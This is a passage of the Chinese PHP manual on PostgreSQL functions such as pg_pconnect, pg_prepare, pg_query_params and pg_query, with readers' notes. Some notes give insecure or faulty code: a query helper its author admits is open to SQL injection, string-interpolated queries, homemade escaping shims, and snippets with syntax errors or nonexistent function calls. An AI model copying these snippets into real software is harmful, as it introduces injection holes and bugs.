$dbconn3 = pg_pconnect("host=sheep port=5432 dbname=mary user=lamb password=foo");
//connect to a database named "mary" on the host "sheep" with a username and password

$conn_string = "host=sheep port=5432 dbname=test user=lamb password=bar";
$dbconn4 = pg_pconnect($conn_string);
//connect to a database named "test" on the host "sheep" with a username and password
?>

参见

  • pg_connect() - 打开 PostgreSQL 连接
  • 持久数据库连接

User Contributed Notes

robertb 10-Dec-2008 12:54
You should not use pg_pconnect - it's broken. It will work but it doesn't really pool, and it's behaviour is unpredictable. It will only make you rise the max_connections parameter in postgresql.conf file until you run out of resources (which will slow your database down).

If you have many concurrent connections to your database, you should use the PostgreSQL connection pooler PgBouncer (developed by the Skype-team). When using pgbouncer, make sure you use pg_connect and NOT pg_pconnect. Also, make sure you close your connections with pg_close.

* PGBouncer homepage:
http://developer.skype.com/SkypeGarage/DbProjects/PgBouncer

* PostgreSQL pooling article by Last.fm:
http://www.last.fm/user/Russ/journal/2008/02/21
/zd_postgres_connection_pools:_pgpool_vs._pgbouncer
ts at dev dot websafe dot pl 28-Oct-2007 02:22
<?php
//
// Using pg_pconnect in a class.
//
// Why this? Because the manual says:
//
//   If a second call is made to pg_pconnect() with the same
//   connection_string as an existing connection, the existing
//   connection will be returned unless you pass
//   PGSQL_CONNECT_FORCE_NEW as connect_type.
//
// This is not always true.
//
/**
 * MyClassA creates a postgresql connection using pg_pconnect
 * and stores the resulting resource id to $this->conn
 */
class MyClassA
{
    function __construct($connection_string)
    {
        $this->conn =
            pg_pconnect($connection_string)
                or die('Wrong CONN_STRING');
    }
}

//
// Showing current php.ini settings to be sure
// that persistent connections s  are allowed.
// -1 means 'unlimited'
//
echo '<br>pgsql.allow_persistent: ' . ini_get('pgsql.allow_persistent');
echo '<br>pgsql.max_persistent: ' . ini_get('pgsql.max_persistent');
echo '<br>pgsql.max_links: ' . ini_get('pgsql.max_links');
echo '<br><br>';

// setting one custom connection string for all objects
// (modify $connection_string to fit your needs)
$connection_string =
    'host=localhost port=5432' .
    ' dbname=test user=test password=test';

//
// Creating 10 MyClassA objects using the same $connection_string
//
$objArr = Array();
for ($i = 0; $i < 10; $i++)
{
    $objArr[] = new MyClassA($connection_string);
}

//
// Human readable result:
//
foreach($objArr as $id => $object)
{
    printf(
        '%s: Object %s: using db %s<br>',
        get_class($object), $id, $object->conn
    );
}

/* ------------------------------------------------------------- */
// The result
// pgsql.allow_persistent: 1
// pgsql.max_persistent: -1
// pgsql.max_links: -1
//
// MyClassA: Object 0: using db Resource id #2
// MyClassA: Object 1: using db Resource id #3
// MyClassA: Object 2: using db Resource id #4
// MyClassA: Object 3: using db Resource id #5
// MyClassA: Object 4: using db Resource id #6
// MyClassA: Object 5: using db Resource id #7
// MyClassA: Object 6: using db Resource id #8
// MyClassA: Object 7: using db Resource id #9
// MyClassA: Object 8: using db Resource id #10
// MyClassA: Object 9: using db Resource id #11
//
/* ------------------------------------------------------------- */
//
// Each MyClassA object will use its _own_ database Resource id
//
?>
Dennis Fogg 13-Oct-2007 01:27
As of Aug 2007, some suggestions from the postgresql forums
on pg_pconnect(), faster postgres connections, and connection pooling:

Summary:
http://archives.postgresql.org/pgsql-general/2007-08/msg01406.php

Good details: http://archives.postgresql.org/pgsql-general/2007-08/msg00660.php
Also: http://archives.postgresql.org/pgsql-general/2007-08/msg01489.php
Spiros Ioannou 30-Jan-2003 05:40
Instead of reducing MaxClients in apache you may try to
reduce pgsql.max_links in php to at least the number of
postmasters. It should work and leave
you with more available httpds for static html pages.
raggaflo at libertysurf dot fr 29-Mar-2002 08:03
Be careful when using Apache/PHP dynamic module/PostgreSQL :
in httpd.conf (Apache conf) default MaxClients is 150, whereas default PG's max_connections is 32 which is much fewer than 150. You have to set max_connections to at least MaxClients (and pg's shared_buffers to 2*max_connections at least) to avoid PG's errors with pg_pconnect like : "Sorry, too many clients already connected"
etsysx dot i dot hate dot spam at teleline dot es 10-Mar-2002 01:56
To setup a high availability server with apache as a static module and postgreSQL, change httpd.conf and set MaxClients to less than max postgreSQL simultaneous connections (like 32 or 64).
This way pg_pconnect will allways return a valid handle under heavy traffic or under a request flow attack without wasting resources and without connection problems.
garrett at bgb dot cc 08-Feb-2002 04:39
If a transaction is in progress when page processing ends, is it aborted before the connection placed bak in the pool? Or is the connection added "as is"?

It would seem that the correct thing to do is to always 'ABORT' before adding to the pool.

As a note, this would be a good time to check and see if the connection is still open before readding it. Thus allowing closed connections to be cleaned up over time, instead of hanging around for ever as they do now.


Ping 数据库连接

  • ? pg_pconnect
  • pg_port ?
  • PHP Manual
  • PostgreSQL 函数
  • Ping 数据库连接

pg_ping

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_ping — Ping 数据库连接

说明

pg_ping(?PgSql\Connection $connection = null): bool

pg_ping() ping 数据库连接，如果中断则尝试重新连接。

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 现在可为 null。

示例

Example #1 pg_ping() 示例

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "An error occurred.\n";
exit;
}

if (!pg_ping($conn))
die("Connection is broken\n");
?>

参见

  • pg_connection_status() - 获取连接状态
  • pg_connection_reset() - 重置连接（再次连接）

User Contributed Notes

There are no user contributed notes for this page.


返回 connection 相关的端口号

  • ? pg_ping
  • pg_prepare ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回 connection 相关的端口号

pg_port

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_port — 返回 connection 相关的端口号

说明

pg_port(?PgSql\Connection $connection = null): string

pg_port() 返回连接指定 PostgreSQL connection 实例的端口号。

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

string，包含 connection 连接到的数据库服务器的端口号，错误时为空字符串。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 现在可为 null。

示例

Example #1 pg_port() 示例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
print "Successfully connected to port: " . pg_port($pgsql_conn) . "<br/>\n";
} else {
print pg_last_error($pgsql_conn);
exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Submits a request to create a prepared statement with the given parameters, and waits for completion

  • ? pg_port
  • pg_put_line ?
  • PHP Manual
  • PostgreSQL 函数
  • Submits a request to create a prepared statement with the given parameters, and waits for completion

pg_prepare

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_prepare — Submits a request to create a prepared statement with the given parameters, and waits for completion

说明

pg_prepare(PgSql\Connection $connection = ?, string $stmtname, string $query): PgSql\Result|false

pg_prepare() creates a prepared statement for later execution with pg_execute() or pg_send_execute(). This feature allows commands that will be used repeatedly to be parsed and planned just once, rather than each time they are executed. pg_prepare() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

The function creates a prepared statement named stmtname from the query string, which must contain a single SQL command. stmtname may be "" to create an unnamed statement, in which case any pre-existing unnamed statement is automatically replaced; otherwise it is an error if the statement name is already defined in the current session. If any parameters are used, they are referred to in the query as $1, $2, etc.

Prepared statements for use with pg_prepare() can also be created by executing SQL PREPARE statements. (But pg_prepare() is more flexible since it does not require parameter types to be pre-specified.) Also, although there is no PHP function for deleting a prepared statement, the SQL DEALLOCATE statement can be used for that purpose.

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

stmtname

The name to give the prepared statement. Must be unique per-connection. If "" is specified, then an unnamed statement is created, overwriting any previously defined unnamed statement.

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

返回值

An PgSql\Result instance on success, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在返回 PgSql\Result 实例，之前返回 resource
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 Using pg_prepare()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Prepare a query for execution
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// Execute the prepared query. Note that it is not necessary to escape
// the string "Joe's Widgets" in any way
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// Execute the same prepared query, this time with a different parameter
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

参见

  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result
  • pg_send_execute() - Sends a request to execute a prepared statement with given parameters, without waiting for the result(s)

User Contributed Notes

geompse at gmail dot com 09-Apr-2012 11:04
The given name cannot be the statement itself.
It has a maximum length and will truncate.

If two queries begin the same way, only the first one will be used.
andy at petdance dot com 28-Dec-2007 07:57
Any error in the prepare is available from pg_last_error().
mike at musskopf dot com 26-Sep-2007 02:14
I had some problems with this function. When you use pg_prepare() with a function like date_trunc('day', $1) you need to specify the data type.

The solution was use the Pear MDB2 but with some changes in code. The original code try to use pg_prepare() too, with errors.
rodrigo at fabricadeideias dot com 07-Nov-2006 04:05
If you decide to deallocate (unprepare) a previously prepared sql command it might be better to quote the sql name as in

  DEALLOCATE "theNameOfMySQL"

instead of (the more natural)

  DEALLOCATE theNameOfMySQL

PostgerSQL preserves the case of your identifiers if, and only if, you quote them. The pg_prepare function preserves the case of the sql name you use.

A complete example would be

  $sql = 'SELECT * FROM user WHERE cod_user = $1';
  $sqlName = 'selectUserByCode';
  if (!pg_prepare ($sqlName, $sql)) {
    die("Can't prepare '$sql': " . pg_last_error());
  }
  $rs = pg_execute($sqlName, array(1));
  do whatever you want with $rs and finally
  $sql = sprintf(
    'DEALLOCATE "%s"',
    pg_escape_string($sqlName)
  );
  if(!pg_query($sql)) {
    die("Can't query '$sql': " . pg_last_error());
  }
scott dot marlowe at gmail dot com 06-Mar-2006 07:20
Note that if you are preparing a query with an in clause with a list of items, you will need to prepare each item separately.

$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name IN($1,$2,$3)');

$result = pg_execute($dbconn, "my_query", array("coffee", "beer", "hard"));

This means that you can't just prepare a query with an arbitrary in() list.
david at fetter dot org 16-Apr-2005 08:33
SQL is often a complicated piece of code by itself, so you may wish put it inside a "here doc."  This will help you read it wherever it appears and test it by itself via a command-line or gui client.

$sql = <<<SQL
SELECT a.foo, b.bar, c.baz
FROM
    table_a a
LEFT JOIN
    table_b b
ON (
    a.a_id = b.a_id
)
JOIN
    table_c c
ON (
    b.c_id = c.c_id
)
WHERE c.name = $1
SQL;


向 PostgreSQL 后端发送以 NULL 字符结尾的字符串

  • ? pg_prepare
  • pg_query_params ?
  • PHP Manual
  • PostgreSQL 函数
  • 向 PostgreSQL 后端发送以 NULL 字符结尾的字符串

pg_put_line

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_put_line — 向 PostgreSQL 后端发送以 NULL 字符结尾的字符串

说明

pg_put_line(PgSql\Connection $connection = ?, string $data): bool

pg_put_line() 向 PostgreSQL 后端服务器发送以 NULL 字符结尾的字符串。这需要与 PostgreSQL 的 COPY FROM 命令结合使用。

COPY 是 PostgreSQL 支持的高速数据加载接口。数据在传入时不会解析且在单个事务中。

使用原生 pg_put_line() 命令的替代方法是使用 pg_copy_from()。这是一个简单得多的接口。

Note:

应用程序必须明确地在 pg_end_copy() 之前最后一行发送两个字符"\."来向后端表明发送数据结束。

Warning

Use of the pg_put_line() causes most large object operations, including pg_lo_read() and pg_lo_tell(), to subsequently fail. You can use pg_copy_from() and pg_copy_to() instead.

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

data

要直接发送到 PostgreSQL 后端的一行文本。自动添加 NULL 终止符。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_put_line() 示例

<?php
$conn = pg_pconnect("dbname=foo");
pg_query($conn, "create table bar (a int4, b char(16), d float8)");
pg_query($conn, "copy bar from stdin");
pg_put_line($conn, "3\thello world\t4.5\n");
pg_put_line($conn, "4\tgoodbye world\t7.11\n");
pg_put_line($conn, "\\.\n");
pg_end_copy($conn);
?>

参见

  • pg_end_copy() - 与 PostgreSQL 后端同步

User Contributed Notes

smcbride at msn dot com 25-Jul-2020 12:54
When using this function, don't get bit by using 'literal\tanotherliteral\n' issue by using single quotes vs. double quotes.  "literal\tanotherliteral\n" is not the same.  Many of the functions are impacted on how double quotes treats escape characters different than single quotes.  I forget it all the time.
kurt at nospam dot milliganshome dot net 22-Aug-2005 09:08
This is the function you need if you are running into the infamous "must be superuser to COPY to or from a file" error from postgres.


Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text

  • ? pg_put_line
  • pg_query ?
  • PHP Manual
  • PostgreSQL 函数
  • Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text

pg_query_params

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_query_params — Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text

说明

pg_query_params(PgSql\Connection $connection = ?, string $query, array $params): PgSql\Result|false

Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

pg_query_params() is like pg_query(), but offers additional functionality: parameter values can be specified separately from the command string proper. pg_query_params() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

If parameters are used, they are referred to in the query string as $1, $2, etc. The same parameter may appear more than once in the query; the same value will be used in that case. params specifies the actual values of the parameters. A null value in this array means the corresponding parameter is SQL NULL.

The primary advantage of pg_query_params() over pg_query() is that parameter values may be separated from the query string, thus avoiding the need for tedious and error-prone quoting and escaping. Unlike pg_query(), pg_query_params() allows at most one SQL command in the given string. (There can be semicolons in it, but not more than one nonempty command.)

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

User-supplied values should always be passed as parameters, not interpolated into the query string, where they form possible SQL injection attack vectors and introduce bugs when handling data containing quotes. If for some reason you cannot use a parameter, ensure that interpolated values are properly escaped.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

Values intended for bytea fields are not supported as parameters. Use pg_escape_bytea() instead, or use the large object functions.

返回值

An PgSql\Result instance on success, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在返回 PgSql\Result 实例，之前返回 resource
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 Using pg_query_params()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Find all shops named Joe's Widgets. Note that it is not necessary to
// escape "Joe's Widgets"
$result = pg_query_params($dbconn, 'SELECT * FROM shops WHERE name = $1', array("Joe's Widgets"));

// Compare against just using pg_query
$str = pg_escape_string("Joe's Widgets");
$result = pg_query($dbconn, "SELECT * FROM shops WHERE name = '{$str}'");

?>

参见

  • pg_query() - 执行查询

User Contributed Notes

Anonymous 04-Mar-2017 05:52
If one of the parameters is an array,  (eg. array of ints being passed to a stored procedure),   it must be denoted as a set within the array,  not php array notation.

eg:  var_dump output  of 2 parms an integer and array of int
aaa is: Array
(
    [0] => 1
    [1] => {2,3}
)

you do not want:

bbb is: Array
(
    [0] => 1
    [1] => Array
        (
            [0] => 2
            [1] => 3
        )

)
php at richardneill dot org 23-May-2014 02:55
For a parameterised date, the value NOW() is not allowed (it gets turned into a literal string and makes postgres choke),  however 'now'
is allowed as a parameter, and has the same effect.
php at richardneill dot org 20-May-2014 04:53
Debugging parameterised queries can be tedious, if you want to paste the query directly into PSQL. Here is a trick that helps:

<?php
$sql = "SELECT * from table WHERE col_a = $1 and col_b=$2 and col_c=$3";
$params = array (42, "a string", NULL);

$debug = preg_replace_callback(
        '/\$(\d+)\b/',
        function($match) use ($params) {
            $key=($match[1]-1); return ( is_null($params[$key])?'NULL':pg_escape_literal($params[$key]) );
        },
        $sql);

echo "$debug";
//prints:   SELECT * from table WHERE col_a = '42' and col_b='a string' and col_c=NULL
?>

This works correctly, except in the (unusual) case where we have a literal $N;  the regexp replaces it where it shouldn't.  For example:
<?php
//Both  ' ... $1 ... '   and  $1   get replaced; the former is wrong, the latter is right.
$sql = "SELECT 'Your bill is for $1' AS invoice WHERE 7 = $1";
$params = array(7);
//$debug:  SELECT 'Your bill is for $7' AS invoice WHERE 7 = '7'"
?>
php at richardneill dot org 20-May-2014 04:35
A note on type-juggling of booleans:
pg_query_params() and friends do seamless, automatic conversion between PHP-NULL and SQL-NULL and back again, where appropriate.
Hoever, everything else goes in (and comes out) as a string.
The following approach may be helpful when handling boolean fields:

<?php
$sql = " ... ";
$params = array (1, 2, 3, true, false);

//Convert booleans to 'true' and 'false'.  [NULLS are already handled].
foreach ($params as &$value){
    if (is_bool($value)){
        $value = ($value) ? 'true':'false';
    }
}

//Now do the query:
$result = pg_query_params ($sql, $params);
$row = pg_fetch_assoc ($result,0)  //first row

//For booleans, convert 't' and 'f' back to true and false. Check the column type so we don't accidentally convert the wrong thing.
foreach ($row as $key => &$value){
    $type = pg_field_type($result,pg_field_num($result, $key));
    if ($type == 'bool'){
        $value = ($value == 't');
    }
}

//$row[] now contains booleans, NULLS, and strings.
?>
php at richardneill dot org 20-May-2014 04:20
pg_query_params() *does* accept NULLs.  They will automatically be transformed, correctly, into SQL NULL. Thus, for example:

<?php
$sql = "UPDATE tbl_example SET column_a = $1, column_b=$2";
$params = array(NULL,  42);
$result = pg_params ($sql, $params);

//is equivalent to:
$result = pg_query ("UPDATE tbl_example SET column_a = NULL column_b  = '42')";

//and not, as one might fear,  either of these (incorrect) things:
// ... column_a = ''      ...
// ... column_a = 'NULL'  ...
?>

Note that you can use NULLs this way in an UPDATE or INSERT statement, but NOT in a WHERE clause. This isn't a restriction of pg_query_params(), but rather it is a consquence of the SQL language.
So, if you want a query of the type:

<?php
//depending on data,  the where-test parameter may or may not be NULL
//the following is WRONG for $1.
$sql = "SELECT * from  tbl_example WHERE column_a = $1 and column_b = $2";
$params = array(NULL,  42);
$result = pg_params ($sql, $params);
?>

This will fail as invalid SQL:  because you should use "= 42" but "IS NULL".  The solution is to use the SQL construct "IS [NOT] DISTINCT FROM".

<?php
$sql = "SELECT ... WHERE column IS NOT DISTINCT FROM $1"
$params = array (42);    //this works, the same as  "where column = 42"
$params = array (NULL);  //this works, the same as "where column is null"
?>

(Aside: though this is annoying, the behaviour is correct. There is a postgresql compatibility option "transform_null_equals", but it won't help you here, even though you might expect it to.)
peter dot kehl+nospam at gmail dot com 24-Oct-2012 09:39
Third parameter $params of pg_query_params() ignores nay part of the string values after a zero byte character - PHP "\0" or chr(0). That may be a result of serialize().

See https://bugs.php.net/bug.php?id=63344
alec at smecher dot bc dot ca 18-Apr-2012 03:17
Note that due to your locale's number formatting settings, you may not be able to pass a numeric value in as a parameter and have it arrive in PostgreSQL still a number.

If your system locale uses "," as a decimal separator, the following will result in a database error:

pg_query_params($conn, 'SELECT $1::numeric', array(3.5));

For this to work, it's necessary to manually convert 3.5 to a string using e.g. number_format.

(I filed this as bug #46408, but apparently it's expected behavior.)
victor dot engmark at terreactive dot ch 15-Jun-2011 03:00
You can't run multiple statements with pg_query_params, but you can still have transaction support without falling back to pg_query:

<?php
$connection = pg_connect("host=127.0.0.1 port=5432 dbname=foo user=bar password=baz");
pg_query($connection, 'DROP TABLE IF EXISTS example');
pg_query($connection, 'CREATE TABLE example (col char(1))');
pg_query($connection, 'INSERT INTO example (col) VALUES (\'a\')');
// 'SELECT col FROM example' in another session returns "a"
pg_query($connection, 'BEGIN');
pg_query_params($connection, 'UPDATE example SET col = $1', array('b'));
// 'SELECT col FROM example' in another session still returns "a"
pg_query_params($connection, 'UPDATE example SET col = $1', array('c'));
// 'SELECT col FROM example' in another session still returns "a"
pg_query($connection, 'COMMIT');
// 'SELECT col FROM example' in another session returns "c"
?>
travismowens at gmail dot com 22-Jul-2010 11:38
Unfortunately the params will not respect string representations of NULL or NOW().  If your code pushes these values, they be considered a string and inserted literally as "NULL" and "NOW()".

Ideally, there should be an additional parameter that you can assign to force this text as pgSQL functions/reserved words and not wrap them up as strings (assuming pgSQL's parameterized queries support this.

This same problem also occurs for comma lists used in "WHERE column IN (1,2,3,4)", params treats "1,2,3,4" as a string, not a list of numbers, and runs it with quotes also.

For debugging, I use this function to simulate params, keep in mind this is not 100% accurate, it only attempts to simulate the actual SQL that param queries create.

<?php
    function pg_query_params_return_sql($query, $array)
    {
        $query_parsed = $query;

        for ($a = 0, $b = sizeof($array); $a < $b; $a++)
        {
            if ( is_numeric($array[$a]) )
            {
                $query_parsed = str_replace(('$'.($a+1)), str_replace("'","''", $array[$a]), $query_parsed );
            }
            else
            {
                $query_parsed = str_replace(('$'.($a+1)), "'".str_replace("'","''", $array[$a])."'", $query_parsed );
            }
        }

        return $query_parsed;
    }
?>
ac at esilo dot com 01-Jan-2010 10:45
pg_query and pg_query_params can be combined into a single function.  This also removes the need to construct a parameter array for pg_query_params:

<?php
function my_query($conn, $query)
{
  if(func_num_args() == 2)
    return pg_query($conn, $query);

  $args = func_get_args();
  $params = array_splice($args, 2);
  return pg_query_params($conn, $query, $params);
}
?>

Usage:

<?php
/* non-parameterized example */
my_query($conn, "SELECT $val1 + $val2");

/* parameterized example */
my_query($conn, "SELECT $1 + $2", $val1, $val2);
?>
strata_ranger at hotmail dot com 24-May-2009 09:03
Regarding boolean values, just typecast them as (integer) when passing them in your query -- '0' and '1' are perfectly acceptable literals for SQL boolean input:

- http://www.postgresql.org/docs/8.2/interactive/datatype-boolean.html

It is also safe to write your paramerized query in double-quotes, which allows you to mix constant values and placeholders in your query without having to worry about how whether PHP will attempt to substitute any variables in your parameterized string.

Of course this also means that unlike PHP's double-quoted string syntax, you CAN include literal $1, $2, etc. inside SQL strings, e.g:

<?php
// Works ($1 is a placeholder, $2 is meant literally)
pg_query_params("INSERT INTO foo (col1, col2) VALUES ($1, 'costs $2')", Array($data1));

// Throws an E_WARNING (passing too many parameters)
pg_query_params("INSERT INTO foo (col1, col2) VALUES ($1, 'costs $2')", Array($data1, $data2));
?>
jsnell at e-normous dot com 26-Sep-2007 03:57
When inserting into a pg column of type bool, you cannot supply a PHP type of bool.  You must instead use a string "t" or "f". PHP attempts to change boolean values supplied as parameters to strings, and then attempts to use a blank string for false.

Example of Failure:
pg_query_params('insert into table1 (bool_column) values ($1)', array(false));

Works:
pg_query_params('insert into lookup_permissions (system) values ($1)', array(false ? 't' : 'f'));
dt309 at f2s dot com 22-Dec-2006 12:11
If you need to provide multiple possible values for a field in a select query, then the following will help.

<?php
// Assume that $values[] is an array containing the values you are interested in.
$values = array(1, 4, 5, 8);

// To select a variable number of arguments using pg_query() you can use:
$valuelist = implode(', ', $values);
$query = "SELECT * FROM table1 WHERE col1 IN ($valuelist)";
$result = pg_query($query)
    or die(pg_last_error());

// You may therefore assume that the following will work.
$query = 'SELECT * FROM table1 WHERE col1 IN ($1)';
$result = pg_query_params($query, array($valuelist))
    or die(pg_last_error());
// Produces error message: 'ERROR: invalid input syntax for integer'
// It only works when a SINGLE value specified.

// Instead you must use the following approach:
$valuelist = '{' . implode(', ', $values . '}'
$query = 'SELECT * FROM table1 WHERE col1 = ANY ($1)';
$result = pg_query_params($query, array($valuelist));
?>

The error produced in this example is generated by PostGreSQL.

The last method works by creating a SQL array containing the desired values. 'IN (...)' and ' = ANY (...)' are equivalent, but ANY is for working with arrays, and IN is for working with simple lists.
mledford 04-Oct-2006 08:18
If you are trying to replicate the function pg_query_params, you might also want to support NULL values. While is_int returns true for a NULL value, the formatting for the SQL.

function pg_query_params( $db, $query, $parameters ) {
    // Escape parameters as required & build parameters for callback function
    global $pg_query_params__parameters;
    foreach( $parameters as $k=>$v ) {
        if ( is_null($v) ) {
            $parameters[$k] = 'NULL';
        } else {
            $parameters[$k] = ( is_int( $v ) ? $v : "'".pg_escape_string( $v )."'" );
        }
    }
    $pg_query_params__parameters = $parameters;

    // Call using pg_query
    return pg_query( $db, preg_replace_callback( '/\$([0-9]+)/', 'pg_query_params__callback', $query));
}
cc+php at c2se dot com 02-Sep-2006 05:17
This is a useful function for preventing SQL injection attacks, so, for those of us who are not yet able to upgrade to PHP5.1, here is a replacement function which works similarly on older versions of PHP...

<?php   # Parameterised query implementation for Postgresql and older versions of PHP

        if( !function_exists( 'pg_query_params' ) ) {

                function pg_query_params__callback( $at ) {
                        global $pg_query_params__parameters;
                        return $pg_query_params__parameters[ $at[1]-1 ];
                }

                function pg_query_params( $db, $query, $parameters ) {

                        // Escape parameters as required & build parameters for callback function
                        global $pg_query_params__parameters;
                        foreach( $parameters as $k=>$v )
                                $parameters[$k] = ( is_int( $v ) ? $v : "'".pg_escape_string( $v )."'" );
                        $pg_query_params__parameters = $parameters;

                        // Call using pg_query
                        return pg_query( $db, preg_replace_callback( '/\$([0-9]+)/', 'pg_query_params__callback', $query ) );

                }
        }

        // Example: pg_query_params( $db_resource, "SELECT * FROM table WHERE col1=$1 AND col2=$2", array( 42, "It's ok" ) );
?>


执行查询

  • ? pg_query_params
  • pg_result_error_field ?
  • PHP Manual
  • PostgreSQL 函数
  • 执行查询

pg_query

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_query — 执行查询

说明

pg_query(PgSql\Connection $connection = ?, string $query): PgSql\Result|false

pg_query() 在特定数据库 connection 上执行 query。pg_query_params() 在大多数情况下应该是首选。

如果发生错误并返回 false，那么在连接有效时可以使用 pg_last_error() 函数检索错误的详细信息。

Note: 尽管可以省略 connection，但不建议这样做，因为可能会导致脚本中的错误难以发现。

Note:

本函数以前的名字为 pg_exec()。pg_exec() 因为兼容性原因仍可使用，但鼓励用户使用新名称。

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

query

要执行的 SQL 语句。当多个语句传递给函数时，将作为一个事务自动执行，除非查询字符串中包含明确的 BEGIN/COMMIT 命令。但是，不建议在一个函数调用中使用多个事务。

Warning

用户提供的数据作为字符串插入值非常危险，很可能导致 SQL 注入漏洞。在大多数情况下，应该首选 pg_query_params()，将用户提供的值作为参数传递，而不是将它们替换为查询字符串。

任何用户提供的数据，都应该正确转义，然后直接替换为查询字符串。

返回值

成功时为 PgSql\Result 实例， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在返回 PgSql\Result 实例，之前返回 resource
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_query() 示例

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "An error occurred.\n";
exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
echo "An error occurred.\n";
exit;
}

while ($row = pg_fetch_row($result)) {
echo "Author: $row[0] E-mail: $row[1]";
echo "<br />\n";
}

?>

Example #2 使用多条语句的 pg_query()

<?php

$conn = pg_pconnect("dbname=publisher");

// 这些语句将作为一个事务执行

$query = "UPDATE authors SET author=UPPER(author) WHERE id=1;";
$query .= "UPDATE authors SET author=LOWER(author) WHERE id=2;";
$query .= "UPDATE authors SET author=NULL WHERE id=3;";

pg_query($conn, $query);

?>

参见

  • pg_connect() - 打开 PostgreSQL 连接
  • pg_pconnect() - 打开一个持久的 PostgreSQL 连接
  • pg_fetch_array() - 获取一行作为数组
  • pg_fetch_object() - 获取一行作为对象
  • pg_num_rows() - 返回结果中行的数量
  • pg_affected_rows() - 返回受影响的记录数（元组）

User Contributed Notes

Anonymous 17-Dec-2013 10:00
Here is my small function to make it easier for me to use data from select queries (attention, it is sensitive to sql injection)
<?php
function requestToDB($connection,$request){
    if(!$result=pg_query($connection,$request)){
        return False;
    }
    $combined=array();
    while ($row = pg_fetch_assoc($result)) {
        $combined[]=$row;
    }
    return $combined;
}
?>

Example:
<?php
$conn = pg_pconnect("dbname=mydatabase");

$results=requestToDB($connect,"select * from mytable");

//You can now access a "cell" of your table like this:
$rownumber=0;
$columname="mycolumn";

$mycell=$results[$rownumber][$columname];
var_dump($mycell);
a dot mcruer at live dot com 17-May-2013 06:46
A quick note for novice users: when gathering input from fields on a web form that maintains a database connection, *never* use pg_query to do queries from the field. Always sanitize input using pg_prepare and pg_execute.
sd at dicksonlife dot com 14-Sep-2006 12:40
Took me a while to track this down so I thought it might be useful for others:

If you use stored procedures and need to get result sets back from them:

function dbquery($link,$query){
  pg_query($link,"BEGIN;");
  $tr=pg_query($link,$query);
  $r=pg_fetch_row($tr);
  $name=$r[0];
  $rs=pg_query($link,"FETCH ALL IN \"" . $name . "\";");
  pg_query($link,"END;");
  return $rs;
}

(Error checking removed for clarity)
zoli at makettinfo.hu 21-May-2006 08:07
It would be better this way:

<?php
  $result=pg_query($conn, "SELECT COUNT(*) AS rows FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if ($line = pg_fetch_assoc($result)) {
    if ($line['rows'] == 0) {
     echo "0 records"
    }
